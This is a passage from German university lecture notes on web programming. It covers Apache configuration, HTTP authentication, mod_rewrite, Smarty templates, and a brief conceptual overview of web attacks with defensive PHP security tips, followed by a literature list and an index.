enthalten. Für kleine Projekte oder in altem Code findet man deswegen sehr oft die einfache,
MySQL-spezifische Schnittstelle. Beim Start eines neuen oder größeren Projektes sollten Sie aber die
moderneren Lösungen in Betracht ziehen.

17
http://framework.zend.com/manual/en/zend.db.table.html
MMT Webprogrammierung 2 83

6.5 Konfiguration von Apache

Der Webserver Apache wird über eine zentrale Datei konfiguriert, sie trägt den Namen httpd.conf.
Bei Verwendung von XAMPP auf Windows findet man diese Datei z.B. im Ordner
C:\xampp\apache\conf.

Weitere interessante Dateien und Ordner:

C:\xampp\apache\logs enthält die Log-Dateien.

C:\xampp\htdocs ist der Webspace, ist also als http://localhost/ sichtbar.

Die Datei httpd.conf ist sehr lang, und enthält viele Kommentare:

# ServerRoot: The top of the directory tree under which the server's
# configuration, error, and log files are kept.
# Do not add a slash at the end of the directory path.
ServerRoot "/xampp/apache"

# Listen: Allows you to bind Apache to specific IP addresses and/or


# ports, instead of the default. See also the <VirtualHost>
# directive.
Listen 80

# DocumentRoot: The directory out of which you will serve your


# documents. By default, all requests are taken from this directory, but
# symbolic links and aliases may be used to point to other locations.
DocumentRoot "/xampp/htdocs

Es gibt hunderte von verschiedenen Konfigurations-Anweisungen für Apache, glücklicherweise muss


man nur wenige davon kennen und verstehen um mit Apache erfolgreich arbeiten zu können.

6.5.1 Konfigurations-Änderung wirksam machen

Wenn man die Konfiguration von Apache verändert braucht es drei Schritte um die Auswirkungen
wirklich zu sehen:

1. Konfigurationsdatei httpd.conf ändern und speichern

2. Apache neu starten

3. Im Webbrowser die entsprechende Seite neu laden

Wenn man die Haupt-Konfigurationsdatei von Apache nicht ändern kann gibt es eine Alternative:
Man kann eine Datei namens .htaccess in den Webspace hoch laden, diese Datei kann einige der
Konfigurations-Anweisungen für den Apache Webserver enthalten.

Achtung: ob die .htaccess Datei wirksam ist oder nicht wird in httpd.conf festgelegt. Als „Mie-
ter“ kann man die .htaccess Datei nicht selbst aktivieren falls sie nicht funktionieren.
MMT Webprogrammierung 2 84

6.5.2 Fehlermeldung

Die Fehlermeldungen des Webservers können an das Design der Webseite angepasst werden. Die
häufigste Fehlermeldung ist der Fehler 404 – Dokument nicht gefunden. (Die Zahl 404 ist dabei der
Status-Code des HTTP-Protokolls.)

Die Standard-Fehlermeldung des Apache Webservers ist neutral gestaltet. Um Sie durch eine selbst
gestaltete Fehlermeldung zu ersetzen erstellen Sie zuerst eine ganz normale HTML-Seite, mit CSS,
Bildern, … etc.

Diese Webseite wird im Webspace gespeichert, z.B. unter der URL /myerror/404.html. Mit der Kon-
figurations-Anweisung

ErrorDocument 404 /myerror/404.html

wird die Fehlermeldung aktiviert. (nicht vergessen: Apache neu starten.)

Abbildung 9: Standard Fehlermeldung 404 von Apache und selbst gestaltete Meldung

Nun wird bei jedem Zugriff auf eine nicht existierende URL die Fehlermeldung angezeigt.

Achtung: Wenn man bei der ErrorDocument-Anweisung einen falschen Pfad angibt erscheint eine
doppelte Fehlermeldung:

The requested URL /gibtsned was not found on this server.

Additionally, a 404 Not Found error was encountered while trying to use an
ErrorDocument to handle the request.

6.5.3 Zugriffsbeschränkung

Beispiel 1) Beschränken Sie den Zugriff auf Ihre Website: nur von der FH Salzburg aus soll der

Zugriff möglich sein.

Der Zugriff auf den Webserver, oder auf bestimmte Ordner und Dateien am Webserver kann be-
schränkt werden. Dabei sind verschiedene Kriterien denkbar: Zugriff nur für bestimmte Browser,
zugriff nur mit Passwort, Zugriff nur von Computern die innerhalb der FH sind.
MMT Webprogrammierung 2 85

Das letzte Kriterium ist das einfachste: Alle Computer innerhalb der FH haben eine IP-Adresse die
mit 10. beginnt. Die Zugriffsbeschränkung erfolgt mit den Konfigurations-Anweisungen Deny, Allow
und Order:

Order deny,allow
Deny from all
Allow from 10.

Aber meist will man nicht den Zugriff auf den ganzen Server sperren, sondern auf einen Bestimmten
Ordner oder auf bestimmte Dateien. Dafür wird in der Apache Konfigurations-Datei eine Schreibwei-
se verwendet, die an HTML oder XML erinnert:

<Location /fhintranet>
Order deny,allow
Deny from all
Allow from 141.201
</Location>

<FilesMatch \.fla$>
Order allow,deny
Deny from all
</FilesMatch>

Der Teil der Konfiguration, der im <Location>-Tag eingeschlossen ist gilt nur für den Ordner
/fhintranet im Webspace. Der Teil, der im <FilesMatch>-Tag eingeschlossen ist gilt für alle Datei-
en im Webspace, deren Name auf .fla endet.

Die Schreibwiese bei FilesMatch nennt man einen „Pattern“ – ein Suchmusters. Patterns und Pat-
tern-Matching werden Sie auch in PHP wieder verwenden.

Das Dollar-Zeichen am Ende des Patterns bedeutet, dass fla am Ende des Dateinamens stehen muss.
Eine Datei mit Namen test.fla.txt wäre also nicht betroffen. Vor dem Punkt muss man einen
Backslash \ schreiben, weil der Punkt alleine als Joker gelten würde. Der Pattern .fla$ (ohne Back-
slash) würde also auch den Dateinamen schlabberdifla oder fli_fla erkennen, weil der Punkt für
das i oder den Unterstich stehen könnte.

Übung 1) Kombinieren Sie die Zugriffsbeschränkung mit der Fehlermeldung um ein Intranet für den
Mediacube zu schaffen.

6.5.4 HTTP Auth mit Apache

In dem Ordner, der gesperrt werden soll, wird eine Datei .htaccess angelegt:

AuthType Basic
AuthName "Intranet"
AuthUserFile /home/urstein/stud1/fhs007/pass
require valid-user

Achtung: der Pfad zur Passwort-Datei (AuthUserFile) muss vollständig angegeben werde! Die Pass-
wort-Datei sieht so aus:
MMT Webprogrammierung 2 86

brigitte:$apr1$Yj1. . . . . $N72ZRLbh91/q33fhGqlJW1
clemens:$apr1$al1. . . . . $VZguOHeYTiQ7emGSIj4lh.

Diese Datei können Sie mit einem Generator am Web18 erzeugen oder mit dem Programm htpasswd
das mit Apache mit geliefert wird. Das funktioniert z.B. auf der Kommandozeile von Windows so:

C:\xampp\apache\bin>htpasswd -c pass brigitte


New password: ********
Re-type new password: ********
Adding password for user brigitte
C:\xampp\apache\bin>htpasswd pass clemens
New password: ***
Re-type new password: ***
Adding password for user Clemens

Diese Methode funktioniert auch auf den Webserver www.users.fh-salzburg.ac.at und multimedia-
technology.at. Wenn Sie einen eigenen Apache Server betreiben, können Sie diese Authentisie-
rungmethode mit verschiedenen Backends verwenden (LDAP, Datenbank, …) — dafür gibt es ver-
schiedene Apache Module19.

Mit der HTTP-Authentisierung ist das HTTP-Protokoll (genau wie bei der Verwendung von Cookies)
nicht mehr stateless. http-Auth hat gegenüber Cookies den Vorteil, dass die Eingabe von Username
und Passwort über ein Browser-Fenster erfolgt und nicht implementiert werden muss.

Abbildung 37: Eingabefenster für HTTP Authentisierung in verschiedenen Browsern

Was mit http Auth nicht funktioniert, ist der Zugriff ohne Login auf die gleiche URL. (Bei Authentisie-
rung über Cookies geht das).

6.5.5 mod_rewrite

Das Apache-Modul mod_rewrite erlaubt das Umschreiben der URL. Normalerweise verweist die URL
direkt auf eine Datei im Filesystem. Dabei wird nur die Apache-Konfigurationsanweisung Docu-
mentRoot verwendet um den Hauptordner des Servers festzulegen:

18
http://www.phpbb.de/diverses/htpasswd.php
19
http://httpd.apache.org/docs/2.0/mod/#other
MMT Webprogrammierung 2 87

<VirtualHost ich.multimediatechnology.at>
DocumentRoot /home/urstein/stud1/fhs007/public_html/
</VirtualHost>

Die URL http://ich.multimediatechnology.at/mini/index.php verweist auf die


Datei /home/urstein/stud1/fhs007/public_html/mini/index.php

Mit mod_rewrite kann man die URL komplett von der Struktur des Filesystems trennen. Wenn man
die mod_rewrite – Regeln in eine.htaccess –Datei im Ordner mini schreibt dann gelten diese Regeln
natürlich nur für URLs die mit http://ich.multimediatechnology.at/mini/ beginnen. Das Endergeb-
nis der Umschreibung wird schliesslich ganz normal als URL interpretiert.

RewriteEngine On
RewriteRule ^personen$ personen.php [L]

Diese Datei enthält eine Regel. Jede Regel besteht aus einem Suchmuster und einer neuen Schreib-
weise für die URL. Die erste Regel verwandelt die URL
http://ich.multimediatechnology.at/mini/personen in die neue URL
http://ich.multimediatechnology.at/mini/personen.php

RewriteRule ^person/(.*) person.php?pid=$1 [L]

Das Suchmuster dieser Regel enthält runde Klammern, diese dienen dazu einen Teil der URL einzu-
fangen und später als Variable wieder zu verwenden. Damit verwandelt diese Regel die URLs

http://ich.multimediatechnology.at/mini/person/1
http://ich.multimediatechnology.at/mini/person/2
http://ich.multimediatechnology.at/mini/person/gigsi/gagsi/gugsi

in folgende neue URLs:

http://ich.multimediatechnology.at/mini/person.php?pid=1
http://ich.multimediatechnology.at/mini/person.php?pid=2
http://ich.multimediatechnology.at/mini/person.php?pid=gigsi/gagsi/gugsi
MMT Webprogrammierung 2 88

7. Ausblick
Die letzte Einheit bietet einen Rückblick und den Ausblick auf weiter Themen der Webprogrammie-
rung. Das Thema Security wird im Rückblick noch einmal behandelt
MMT Webprogrammierung 2 89

7.1 Templates und MVC

Für eine moderne Web-Applikation brauchen wir eine Mischung aus HTML, CSS, Javascript, PHP, SQL.
Im schlechtesten Fall ist all dieser Code in einer Datei gespeichert, und eng ineinander vermischt – so
wie in den bisher gezeigten Beispielen.

Wie kann man diese Code-Mischung verhindern, den Code durchschaubarer machen und die Arbeits-
teilung zwischen Design (HTML+CSS) und Programmierung (Javascript, PHP, SQL) erleichtern?

7.1.1 Templates am Beispiel von Smarty

Das Smarty Template-System speichert die Templates in einem eigenen Ordner, die einzelnen Datei-
en können die Endung html haben. In einem zweiten Ordner templates_c speichert das System die
compilierten Templates.

Abbildung 38: Ordnerstruktur eines Projekts mit Smarty Templates

Der allgemeine Ablauf einer PHP-Datei lautet mit Smarty:

<?php
require 'libs/Smarty.class.php';
$template = new Smarty;
$template->assign("pagetitle","Person");
// Zeugs berechnen, aus der Datenbank holen ...
$template->assign("vorname","Brigitte");
$template->display('person.html');
?>

In der Template-Datei gibt es includes und Variablen, in der speziellen Smarty-Schreibweise mit ge-
schwungenen Klammern:
MMT Webprogrammierung 2 90

{include file="header.tpl"}
<p>Es befinden sich {$anz_personen} Personen und {$anz_werke} Werke in der Datenbank</p>
{include file="footer.tpl"}

Die Variablen werden mit $template->assign in das Template gespeichert. Es können auch Arrays
oder komplexere Datenstrukturen an das Template übertragen werden. In folgendem Beispiel wird
ein Array von Arrays übertragen:

$ergebnis = mysqli_query ( $db, "SELECT * FROM person WHERE ifshow=1 ORDER BY nachname" );
while($person = mysqli_fetch_array($ergebnis)) {
$personen[] = $person;
}
$template->assign("personen", $personen);

Im Template wird das äußere Array mit einer foreach-Schleife abgearbeitet:

<ul>
{foreach from=$personen item=person}
<li>
<b>{$person.vorname} {$person.nachname}</b>
<a href="person.php?pid={$person.pid}">mehr</a>
</li>
{/foreach}
</ul>

Im Template ist einfache Programmierung möglich. Dies sollte aber nur für die Darstellung von Daten
verwendet werden, nicht für wirkliche Berechnungen:

{if $isfemale}Frau{else}Herr{/if}
{$vorname} {$nachname} hat insgesamt {$anz} Werke in dieser Datenbank.
MMT Webprogrammierung 2 91

7.2 Security von Web-Applikationen

Sicherheit ist ein heikles Thema, deswegen eine Warnung vorneweg: dies ist keine vollständige Dar-
stellung aller möglichen Sicherheitsrisiken. Betrachten Sie dieses Kapitel nur als Einstieg in das Thema,
nicht als endgültige Abhandlung.

7.2.1 Keine Ausreden

Egal wie klein, unwichtig, unbekannte Ihre Web-Applikation ist: das ist keine Ausrede dafür sich nicht
um Security zu kümmern.

Selbst die kleinste, unwichtigste, unbekannteste Applkation wird „zum Spaß“ von Vandalen angegrif-
fen. Selbst die kleinste, unwichtigste, unbekannteste Applikation wird angegriffen um Kontrolle über
den Server zu erlangen, und dann von diesem Server aus weitere Attacken auf weitere Ziele zu star-
ten.

Sie sind also nicht nur für sich selbst, sondern auch zum Schutz von Anderen für die Sicherheit Ihrer
Applikation verantwortlich.

Sie sollten dabei nicht vergessen: Die Einstiegsseite Ihrer Applikation ist nicht der einzige Angriffs-
punkt: jede einzelne URL der Applikation ist ein möglicher Angriffspunkt. Jede URL ist eine öffentliche
Schnittstelle der Webapplikation!

7.2.2 Beispiele für Attacken

Was will die böse HackerIn erreichen? Hier ein paar Beispiele für mögliche Attacken:

Durch eine große Anzahl von Zugriffen den Server langsamer machen oder zum Absturz bringen (De-
nial of Service Attack, DoS).

Die Applikation dazu bringen, dass sie ein nicht vorgesehenes Verhalten zeigt, z.B. SPAM Mail ver-
sendet, Passwortdateien anzeigt, E-Mail Adressen von KundInnen anzeigt, …

Die Applikation dazu bringen, dass sie ins Filesystem schreibt.

Die Applikation dazu bringen, dass sie bestimmte (UNIX-)Befehle ausführt.

Durch gezielte Eingaben nicht vorgesehene SQL-Befehle ausführen um Daten zu zerstören oder zu
erlangen (SQL Injection).

Einer UserIn Ihrer Applikation eine URL einer bekannten Applikation mailen die schon eine Session-ID
enthält; wenn sich die UserIn über diese URL anmeldet, kann die HackerIn die Session auch mitbe-
nutzen (Session Fixation).
MMT Webprogrammierung 2 92

Einer UserIn Ihrer Applikation eine URL oder eine HTML-Seite mailen, die (in Kombination mit den
Zugriffsrechten/Cookies dieser UserIn) unerwartetes Verhalten bei einer Web-Applikation bewirkt,
wenn diese aufgerufen/angzeigt wird (Phishing).

Die Applikation so manipulieren, dass anderen UserInnen HTML+Javascript-Code angezeigt wird, der
eine Attacke auf diese UserInnen ist (Cross Site Scripting) — um deren Cookies/Session auszulesen
oder deren Zugriffsrechte zu benutzen (Cross Site Request Forgerie).

Wenn verschiedene Leute einen Webserver teilen: die „NachbarInnen“ ausspionieren, gemeinsam
genutzte Pfade für Uploads und Sessions ausnutzen.

7.2.3 Tipps für mehr Sicherheit in PHP

Ein paar Tipps wie sie Sicherheits-Probleme vermeiden können.

Tipp 1: Es gibt keine Security im Client! Z.B. Eingabeprüfung in Javascript ist nett, ersetzt aber keine
Eingabeprüfung am Server.

Tipp 2: Eingaben aus $_GET, $_COOKIE oder $_POST lesen, nicht aus $_REQUEST. Dort finden sich
Strings. Diese Strings prüfen und in den richtigen Datentyp konvertieren.

Tipp 3: Daten vor der Verwendung in SQL, auf der Kommandozeile, als URL oder als Webseite richtig
escapen. (Escapen ersetzt nicht die Prüfung!)

Tipp 4: Include nur mit fixem Pfad, niemals include( $_POST['includepath'] );

Tipp 5: Include-Dateien immer mit Endung .php speichern—nicht als .txt oder .inc, die könnten
über das Web sichtbar und lesbar sein.

Tipp 6: Niemals Datei-Uploads erlauben mit denen neue Dateien mit der Endung .php in den
Webspace geschrieben werden können.

Tipp 7: Falls möglich Prepared-Statements für SQL verwenden.

Tipp 8: Sessions nicht nach dem Login weiter verwenden, sondern nach dem Login neue Session er-
zeugen mit session_regenerate_id().

Tipp 9: Wenn mehrere User einen Webserver teilen: mit den Konfigurations-Optionen open_basedir
und safe_mode möglichst getrennt halten.
MMT Webprogrammierung 2 93

Anhänge

7.3 Literatur- und Web-Tipps

Web + HTTP

HTTP 1.1: RFC 2616 - http://www.w3.org/Protocols/rfc2616/rfc2616.html

HTML + CSS

Homepage des WWW-Consortiums. http://www.w3c.org/

HTML Validator des WWW-Consortiums. http://validator.w3.org/

Jellinek, Brigitte (2006): Handbuch Webdesign. Wikibook.


http://de.wikibooks.org/wiki/Webdesign

Freeman, Elisabeth (2006): HTML mit CSS & XHTML von Kopf bis Fuß. O'Reilly. ISBN 978-3897214538

Shea, Dave/ Holzschlag, Molly: CSS Zen Garden. http://csszengarden.com/

Müller, Peter (2007): Little Boxes. Markt+Technik-Verlag. ISBN 978-3827242242

Münz, Stefan: Selfhtml. http://de.selfhtml.org

MÜNZ,Stefan / NEFZGER,Wolfgang (2005): HTML Handbuch. Studienausgabe. Franzis. ISBN


3772366546.

ZELDMAN,Jeffrey (2008): Webdesign mit Webstandards: Grenzenlos kompatibel. Addison-Wesley,


München. ISBN 3827327326.

CEDERHOLM,Dan (2007): Bulletproof Webdesign (2. Ausgabe): Absolut flexibel und für alles gewapp-
net mit CSS und XHTML. Addison-Wesley, München. ISBN 382732629X.

PHP

PHP Homepage mit Dokumentation in verschiedenen Sprachen: http://php.net


MMT Webprogrammierung 2 94

Templating-System Smarty für PHP. http://smarty.php.net/

PEAR - PHP Extension and Application Repository. http://pear.php.net

KERSKEN,Sascha (2005): Praktischer Einstieg in MySQL mit PHP. O'Reilly Vlg GmbH & Co. ISBN
3897214032.

Lerdorf, Rasmus (2006): Programmieren mit PHP. O'Reilly; 2. Auflage. ISBN 978-3897214736

Schmidt, Stephan (2007): PHP Design Patterns. O'Reilly. ISBN 978-3897214422.

Welling, Luke (2004): MySQL-Tutorial. München: Addison-Wesley. ISBN 978-3827321695.

SHIFLETT,Chris (2005): Essential PHP Security. O'Reilly Media, . ISBN 059600656X.

Javascript + AJAX

MORRISON,Michael (2008): Head First JavaScript (Head First). O'Reilly Media, . ISBN 0596527748.

FLANAGAN,David (2007): JavaScript: Das umfassende Referenzwerk. O'Reilly. ISBN 3897214911.

CROCKFORD,Douglas (2008): JavaScript: The Good Parts. O'Reilly Media, . ISBN 0596517742.

STEYER,Ralph (2003): JavaScript in 21 Tagen . Schritt für Schritt zum Programmierprofi.


Markt+Technik. ISBN 3827265088.

POWERS,Shelley (2007): Adding Ajax. O'Reilly Media, . ISBN 0596529368.

jQuery Library. http://jquery.com/


MMT Webprogrammierung 2 95

Stichwortverzeichnis
.htaccess 83 opendir 20
closedir 20 Pattern 85
Datei .htaccess 83 Prepared Statement 58
Datei httpd.conf 83 readdir 20
Dienst 8 statefull 52
Fehlermeldung stateless 52
von Apache 84 Version
glob 20 PHP 10
htaccess 83 Webserver
httpd.conf 83 Log-Datei 83
Internet 26 Windows-Dienst 8
kompatibel 10 XAMPP Control Panel 8
Log-Datei Zugriffsbeschränkung 84
von Apache 83

You might also like